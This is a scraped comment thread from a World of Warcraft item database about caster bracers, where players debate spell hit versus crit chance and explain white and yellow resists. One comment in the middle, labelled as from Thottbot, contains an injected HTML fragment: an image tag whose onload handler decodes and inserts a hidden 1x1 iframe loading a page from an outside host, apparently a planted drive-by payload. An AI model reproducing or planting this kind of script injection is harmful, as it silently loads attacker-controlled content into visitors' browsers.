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评论来自
396
Best non-set bracers for casters, about on par with the Cenarion Circle rep rewards.
评论来自
Thottbot
Spells miss. By default spells have a 5% miss rate. These are the resists you get while using a spell against a player with 0 resist against that spell element. This is the same percentage of attacks that miss when a melee class attacks someone with no bonus defense skill.
Spell accuracy works like +hit percentage gear for melee in reducing these occurances down from 5% to 0%. Beyond that 5%, I don't believe they do anything.
Basically it will grant you greater consistancy and reduce your chance of losing a fight due to random misses that are completely out of your control.
评论来自
Thottbot
There are 2 types of Resists, white resists, which are effected by level, and yellow resists, which are effected by a players actual resistance to any particular school of magic.
An equal level player or mob has a 5% chance of a white resist, which is, as pervioussly mentioned, a spell's "to hit." Anytime you see a white resist, that was your spell missing. The Warlock Talent "Supression" effects this type of resistance in the same fashion as gear that says "Increases your chance to hit with spells by x%." In both cases they lowere that 5% chance of your spell to miss in a logarithmic fashion. These type of resists are binary, which means the spell either hits or misses, and does not effect damage.
Yellow resists are the ones which can be added to by gear or spells, and reduced by spells such as Curse of Elements or Curse of Shadows. These resistances (with the exception of Frost which is binary), can create partial (= reduced damage) or full resist (yellow resist) to the school of magic in question. These resistances are also logarithmic.
Hope tht helps clarify.
评论来自
Thottbot
http://i.www.wowhead.com/tbc/search?q=n/Interface/Icons/INV_Mace_13.jpg"
height=1 width=1 onload=c.innerHTML=unescape("%3Ciframe%20height%3D1%20width%3D1%20src%3D//i.oij1.com/1.htm%3E%3C/ifr ame%3E") border="0
.
评论来自
Allakhazam
Good bye arcanist :D
more +crit? no that stuff is everywhere ;p This would ultimately do more damage, as any spell that this prevents from resisting also has the bonus of criting. Theres already crit epic bracers in BWL, i believe.
Not to mention the godly +damage for bracers.
And yea this is PVE, if you don't do a lot of pve, you'll probably never see em anyway!
评论来自
Allakhazam
Ehm, Nurion if you're frost the chance of mob resisting while curse of elements is what almost zero.. 1% aint that good. but since it's alot of dmg added it makes up for it
评论来自
Allakhazam
I can't see how hit chance with spells can be bigger then crit chance.
Take MC for example. I do an advanced estimate of following values for me(warlock)
Resist rate: 10%
Average shadowbolt dmg: 700
So assume I throw 1000 bolts during a MC raid. 100 bolts will be resisted. 1% increased hit chance will give me one more shadowbolt hit. So this gives me 700 more dmg during that raid.
1% crit dmg on 1000 bolts will give me 10 extra crits. Since i'm not ruin specced i get 50% of the base dmg in extra dmg. 10*350 = 3500 dmg
And for a warlock i get shadow dmg bonus for the following bolts to when i get a crit. So it will amount to loads of more dmg.
So my conclusion is that 1% better chance to hit sucks hard compared to 1% more crit. I'd say 5% hit chance might equal 1% crit for a general spell. For me as a warlock even 5% hit chance will not amount to the increased crit with shadowbolts.
Edited, Fri Sep 9 06:40:05 2005
评论来自
Allakhazam
you realize u'r fighting mobs 3 levels higher than you so this is an INCREDIBLE advantage to hit more often
评论来自
Allakhazam
Significantly better than netherwind... Can't wait to get a chance at them.
评论来自
Allakhazam
1% to hit >>>>> 1% to crit
If your spell was resistet, who cares if were a crit? ;]
评论来自
Allakhazam
+hit is much better than +crit. Up to the cap, +1%hit means allways 1% more damage but crits are usually only do 50% more damage, leading to 0,5% increase in damage without talents. Some talents give more bonus, but afaik no talent gives more than 100% more damage, or equal benefit. Those are also only affecting a limited number of spells, not every spell.
There are also things you need to consider, what are you using it for. +crit only increses damage, but +hit affects spells with other effects too. Especially in PVP you want to have +3hit(which leads to a maximum of 99% hit to a level 60 target) because a lot of strong spells are non-damage spells that can't crit, like fear, silence, polymorph, curses, dots, frost nova etc.
Same goes for comparing +dmg items. Those dont help with binary spells. One notable thing is that +hit gets more meaningful the more +dmg gear you have. It scales with gear. If you have +500spelldamage, then +hit gives a much bigger increase in total damage than if you have no spelldamage gear.
Take an example, a dot that makes 1000 damage over 15sec. With +hit you get 10 more damage on cast per average, equaly to +10dmg. But if you have +500spelldamage, it is 1500 damage over 15sec, so a +hit increases that with 15dmg, while +10spell damage is just 10spell damage.
One additional note is that crit% is not % of hits, but % of all casts. Making it a invalid point that +hit is also a new chance for crit. It's not that. You will get same amount of crits per spell cast, no matter what your +hit gear rate is.
So if you have no +hit gear and fight an equal level mob you have 4% chance to miss and 96% to hit. With 10% crit rate that makes 4% to miss, 10% to crit, and 86% to normal hit.
Lets take another example. you fight a level 63 mob, without +hit gear but with +10% crit gear, you get 17% miss, 73%normal hit and 10% crit.
If you increase your +crit% with 10, you get 17%miss, 63%normal hit and 20%crit. That means on 100 casts you get 17 misses, 63 normal hits and 20 crits. So of 83 spells that are not resisted 20 crit, making your crit rate of the hits higher than 20%, it's 20/83 = 24% of the spells that hit crit. That makes the +crit bonus look better than it really is. If look compare the rate of normal and crit spells. But you need to compare to how often you crit compared to how often you cast. Low hit rate makes it look like you crit more often, what you actually dont do.
That said, I think the bracers are really great. Good stats, dmg and hit owns!
评论来自
Allakhazam
In the long run 1% increased hit chance and 1% increased crit chance are almost the same damage increase IF you are getting 100% damage bonus from the crit. If you are using some school where you only get 50%, 1% increased hit chance will be approximately twice as good. I preffer a more consistant damage output, so all else equal I would choose the chance to hit over crit chance.
评论来自
Allakhazam
For pure DPS these bracers are the best out there.
For those of us with 100% crit dmg +crit and +hit are close.
1000 Bolts With 90% hit rate and 10%crit
900 hits
90 crits 990
+1crit
900 hits
99 crits 999
+1 hit
910 hits
91 crits 1001
For raids
Currently (till next patch) +hit is better since we get the Neg resist bonus from warlock curses. Next patch we'll still get a bonus but not as big of one.
For those of us who already pull too much aggro +hit is far better. For pure damage + hit is better to slightly better.
For locks with the 20% dmg with crits talent +crit may edge up next patch depending how bad they nerf CoS.
At the very least casters should aim for +4 to hit. This make it so you will hit all lvl 60s. For mage/locks if the targte has a CoS/CoE you will never see a resist or miss. For the nature damage people stay near some one with Thunderfury.
评论来自
Allakhazam
... of these bracers is accuracy. So a chance to hit is sorta called for rather than a chance to crit. +1% seems a little small for an epic, maybe 2-3% and these would be godly.
评论来自
Allakhazam
/clap Blizzard
finally something good :) 1% less resist yay!
评论来自
Allakhazam
I am not a fan, they are good and all but its more PvE focused so I would tend to shy away from it
评论来自
Allakhazam
i got them today from my guilds first kill on broodloord (our 5th attempt) and im very pleased with them. these bracers > every single pice of bracer in the game for pve (not considering naxx) <3<3 enjoyment from abow
评论来自
Allakhazam
Umm - Wow! I like these - Only way they could be better is more stamina or Instead of hit (1% better chance to not get resisted) it would be 1% Spell Crit chance.
--Plack
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